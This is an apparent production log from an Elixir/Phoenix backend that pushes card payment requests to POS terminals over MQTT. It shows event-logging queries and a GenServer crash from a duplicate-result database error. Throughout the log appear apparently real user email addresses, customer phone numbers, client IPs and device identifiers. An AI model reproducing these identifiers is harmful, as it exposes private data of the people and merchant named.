[Thu Sep  3 12:35:21.704000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:61982] QUERY OK source="custom_events" db=2.7ms idle=435.2ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:35:21.705000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:61982] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "newtestTxn11"
Payload: %{
  username: "sonu73772@gmail.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub",
  ts: 1788438921,
  qos: 1,
  device_id: "98251226730001",
  amount: 120
}

[Thu Sep  3 12:35:21.705000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:61982] Prepared attributes for custom event log: %{
  payload: %{
    username: "sonu73772@gmail.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub",
    ts: 1788438921,
    qos: 1,
    device_id: "98251226730001",
    amount: 120
  },
  event_name: "Request For Publish Txn",
  refrence_id: "newtestTxn11",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:35:21.705366Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 12:35:21.705000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 115.99.190.251:61982] Creating custom event log with attributes: %{payload: %{username: "sonu73772@gmail.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub", ts: 1788438921, qos: 1, device_id: "98251226730001", amount: 120}, event_name: "Request For Publish Txn", refrence_id: "newtestTxn11", transaction_id: nil, date_added: ~U[2026-09-03 12:35:21.705366Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 12:35:21.799000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:61982] QUERY OK db=93.7ms idle=329.9ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "sonu73772@gmail.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub", ts: 1788438921, qos: 1, device_id: "98251226730001", amount: 120}, "Request For Publish Txn", "newtestTxn11", ~U[2026-09-03 12:35:21Z], 37, "request_for_publish_txn", ~N[2026-09-03 12:35:21], ~N[2026-09-03 12:35:21]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:35:21.800000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:61982] Successfully created custom event log with ID: 40222
[Thu Sep  3 12:35:21.800000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:61982] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98251226730001/update with ref: #Reference<0.2525715032.1112801281.116711>
[Thu Sep  3 12:35:21.801000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:61982] Published successfully to topic2: ota/pos/12345678/98251226730001/sub with ref: #Reference<0.2525715032.1094189058.162440>
[Thu Sep  3 12:35:21.803000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:61982] QUERY OK source="users" db=1.7ms queue=0.1ms idle=354.2ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["sonu73772@gmail.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:35:21.810000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:61982] QUERY OK source="custom_events" db=6.3ms queue=0.1ms idle=355.8ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:35:21.810000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:61982] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "newtestTxn11"
Payload: %{
  error: nil,
  status: "success",
  username: "sonu73772@gmail.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub",
  ts: 1788438921,
  device_id: "98251226730001",
  amount: 120
}

[Thu Sep  3 12:35:21.810000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:61982] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "sonu73772@gmail.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub",
    ts: 1788438921,
    device_id: "98251226730001",
    amount: 120
  },
  event_name: "Response From Publish Txn",
  refrence_id: "newtestTxn11",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:35:21.810827Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 12:35:21.811000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 115.99.190.251:61982] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "sonu73772@gmail.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub", ts: 1788438921, device_id: "98251226730001", amount: 120}, event_name: "Response From Publish Txn", refrence_id: "newtestTxn11", transaction_id: nil, date_added: ~U[2026-09-03 12:35:21.810827Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 12:35:21.908000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:61982] QUERY OK db=82.1ms queue=0.1ms idle=316.3ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "sonu73772@gmail.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730001/update, ota/pos/12345678/98251226730001/sub", ts: 1788438921, device_id: "98251226730001", amount: 120}, "Response From Publish Txn", "newtestTxn11", ~U[2026-09-03 12:35:21Z], 38, "response_from_publish_txn", ~N[2026-09-03 12:35:21], ~N[2026-09-03 12:35:21]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:35:21.909000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:61982] Successfully created custom event log with ID: 40223
[Thu Sep  3 12:35:21.909000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:61982] Publish successful to 98251226730001 with ref: #Reference<0.2525715032.1094189058.162440>
[Thu Sep  3 12:35:21.911000 2026] [Phoenix.Logger:info] [pid 2816631] [client 115.99.190.251:61982] Sent 200 in 466ms
[Thu Sep  3 12:35:30.303000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730001 with payload: {"request_id" : "newtestTxn11","money": "12000.0", "status": "FAILED" }
[Thu Sep  3 12:35:30.303000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730001 with request_id newtestTxn11: %{"money" => "12000.0", "request_id" => "newtestTxn11", "status" => "FAILED"}
[Thu Sep  3 12:35:30.304000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id newtestTxn11 is failed
[Thu Sep  3 12:35:30.319000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=14.5ms idle=1247.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["newtestTxn11", "98251226730001"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Thu Sep  3 12:35:30.321000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Tortoise.Registry, {Tortoise.Connection.Controller, "phoenix_client_node_devteam_shukriapos"}} terminating
** (Ecto.MultipleResultsError) expected at most one result but got 38 in query:

from c0 in DaProductApp.CloudTransactions.CloudTransaction,
  where: c0.transaction_ref_number == ^"newtestTxn11" and c0.device_id == ^"98251226730001"

    (ecto 3.12.5) lib/ecto/repo/queryable.ex:157: Ecto.Repo.Queryable.one/3
    (da_product_app 0.1.0) lib/da_product_app/mqtt/handler.ex:52: DaProductApp.MQTT.Handler.handle_message/3
    (tortoise 0.10.0) lib/tortoise/handler.ex:348: Tortoise.Handler.execute/2
    (tortoise 0.10.0) lib/tortoise/connection/controller.ex:254: Tortoise.Connection.Controller.handle_package/2
    (stdlib 5.2.3.2) gen_server.erl:1121: :gen_server.try_handle_cast/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: {:"$gen_cast", {:incoming, <<50, 111, 0, 36, 47, 97, 99, 107, 47, 112, 70, 112, 112, 98, 105, 111, 79, 67, 75, 108, 111, 53, 99, 56, 69, 47, 57, 56, 50, 53, 49, 50, 50, 54, 55, 51, 48, 48, 48, 49, 1, 67, 123, 34, 114, 101, ...>>}}
State: %Tortoise.Connection.Controller{client_id: "phoenix_client_node_devteam_shukriapos", ping: {[], []}, status: :down, awaiting: %{}, handler: %Tortoise.Handler{module: DaProductApp.MQTT.Handler, state: %{client_id: "phoenix_client_node_devteam_shukriapos", online_devices: %{}}, initial_args: [client_id: "phoenix_client_node_devteam_shukriapos"]}}
[Thu Sep  3 12:35:54.009000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.TransportError) Unrecoverable error: timeout
[Thu Sep  3 12:36:01.127000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51934] POST /api/device/initiate
[Thu Sep  3 12:36:01.128000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:51934] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "150", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch889241839013", "externalRefNumber2" => "5339965261", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:36:01.128000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51934] Processing card transaction for reference: ch889241839013
[Thu Sep  3 12:36:01.129000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51934] QUERY OK source="users" db=0.4ms idle=1072.7ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:36:01.131000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51934] QUERY OK source="custom_events" db=0.6ms queue=0.2ms idle=1073.4ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:36:01.131000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51934] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch889241839013"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 150,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch889241839013",
  external_ref_number_2: "5339965261",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98250623730001"}
}

[Thu Sep  3 12:36:01.132000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51934] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 150,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch889241839013",
    external_ref_number_2: "5339965261",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98250623730001"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch889241839013",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:36:01.132087Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 12:36:01.132000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:51934] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 150, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch889241839013", external_ref_number_2: "5339965261", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch889241839013", transaction_id: nil, date_added: ~U[2026-09-03 12:36:01.132087Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 12:36:01.165000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51934] QUERY OK db=32.5ms idle=1005.5ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 150, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch889241839013", external_ref_number_2: "5339965261", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, "Initiate Card Txn Request", "ch889241839013", ~U[2026-09-03 12:36:01Z], 35, "initiate_card_txn_request", ~N[2026-09-03 12:36:01], ~N[2026-09-03 12:36:01]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:36:01.165000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51934] Successfully created custom event log with ID: 40224
[Thu Sep  3 12:36:01.165000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51934] Handling card transaction:
- Reference: ch889241839013
- Amount: 150
- Params: %{"accountLabel" => "", "amount" => "150", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch889241839013", "externalRefNumber2" => "5339965261", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Thu Sep  3 12:36:01.166000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51934] QUERY OK source="users" db=0.4ms idle=925.4ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:36:01.169000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51934] QUERY OK source="custom_events" db=2.2ms idle=588.7ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:36:01.169000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51934] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch889241839013"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788438961,
  device_id: "98250623730001",
  amount: 150
}

[Thu Sep  3 12:36:01.169000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51934] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788438961,
    device_id: "98250623730001",
    amount: 150
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch889241839013",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:36:01.169478Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 12:36:01.170000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:51934] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788438961, device_id: "98250623730001", amount: 150}, event_name: "Response From Device Online Status", refrence_id: "ch889241839013", transaction_id: nil, date_added: ~U[2026-09-03 12:36:01.169478Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 12:36:01.218000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51934] QUERY OK db=47.3ms idle=240.8ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788438961, device_id: "98250623730001", amount: 150}, "Response From Device Online Status", "ch889241839013", ~U[2026-09-03 12:36:01Z], 36, "response_from_device_online_status", ~N[2026-09-03 12:36:01], ~N[2026-09-03 12:36:01]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:36:01.218000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51934] Successfully created custom event log with ID: 40225
[Thu Sep  3 12:36:01.218000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51934] Publish payload 98250623730001: "{\"type\":\"card\",\"request_id\":\"ch889241839013\",\"amount\":15000,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 12:36:01.240000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51934] QUERY OK db=21.0ms idle=205.1ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "150", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch889241839013", "externalRefNumber2" => "5339965261", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_f6b2757f3d58@mercurypay.in", "98250623730001", "ch889241839013", 4, Decimal.new("150"), %{}, "1", ~N[2026-09-03 12:36:01], ~N[2026-09-03 12:36:01]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 12:36:01.241000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51934] QUERY OK source="users" db=0.5ms idle=184.3ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:36:01.242000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51934] QUERY OK source="custom_events" db=0.5ms idle=185.1ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:36:01.243000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51934] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch889241839013"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788438961,
  qos: 1,
  device_id: "98250623730001",
  amount: 150
}

[Thu Sep  3 12:36:01.243000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51934] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788438961,
    qos: 1,
    device_id: "98250623730001",
    amount: 150
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch889241839013",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:36:01.243592Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 12:36:01.244000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:51934] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788438961, qos: 1, device_id: "98250623730001", amount: 150}, event_name: "Request For Publish Txn", refrence_id: "ch889241839013", transaction_id: nil, date_added: ~U[2026-09-03 12:36:01.243592Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 12:36:01.290000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51934] QUERY OK db=45.9ms idle=187.8ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788438961, qos: 1, device_id: "98250623730001", amount: 150}, "Request For Publish Txn", "ch889241839013", ~U[2026-09-03 12:36:01Z], 37, "request_for_publish_txn", ~N[2026-09-03 12:36:01], ~N[2026-09-03 12:36:01]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:36:01.291000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51934] Successfully created custom event log with ID: 40226
[Thu Sep  3 12:36:01.291000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51934] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98250623730001/update with ref: #Reference<0.2525715032.1112801281.119427>
[Thu Sep  3 12:36:01.291000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51934] Published successfully to topic2: ota/pos/12345678/98250623730001/sub with ref: #Reference<0.2525715032.1112801281.119433>
[Thu Sep  3 12:36:01.292000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51934] QUERY OK source="users" db=0.4ms idle=162.2ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:36:01.293000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51934] QUERY OK source="custom_events" db=0.7ms idle=162.1ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:36:01.294000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51934] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch889241839013"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788438961,
  device_id: "98250623730001",
  amount: 150
}

[Thu Sep  3 12:36:01.294000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51934] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788438961,
    device_id: "98250623730001",
    amount: 150
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch889241839013",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:36:01.294424Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
